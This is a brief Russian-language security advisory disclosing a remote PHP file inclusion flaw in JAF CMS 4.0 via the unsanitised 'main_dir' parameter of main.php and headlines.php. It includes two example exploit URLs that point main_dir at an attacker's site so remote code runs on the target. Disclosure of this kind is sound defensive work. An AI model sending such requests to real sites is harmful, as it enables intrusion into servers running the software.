Программа: JAF CMS 4.0
Уязвимость позволяет удаленному пользователю выполнить произвольный PHP сценарий на целевой системе.
Уязвимость существует из-за недостаточной обработки входных данных в параметре "main_dir" сценариями main.php и
headlines.php.
Примеры:
http://www.example.com/[jmf_path]/module/forum/main.php?id=1 &main_dir=http://attacker's site
http://www.example.com/[jmf_path]/module/forum/headlines.php? id=1&main_dir=http:attacker's site
